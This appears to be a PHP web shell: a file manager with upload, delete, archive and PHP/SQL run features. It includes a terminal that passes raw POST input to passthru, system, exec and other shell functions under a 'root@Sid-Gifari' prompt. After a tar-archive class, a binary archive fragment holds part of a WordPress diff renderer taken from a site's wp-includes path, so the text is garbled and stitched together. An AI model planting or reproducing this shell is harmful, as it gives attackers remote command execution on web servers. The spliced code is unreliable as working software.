		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\tT        inline.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
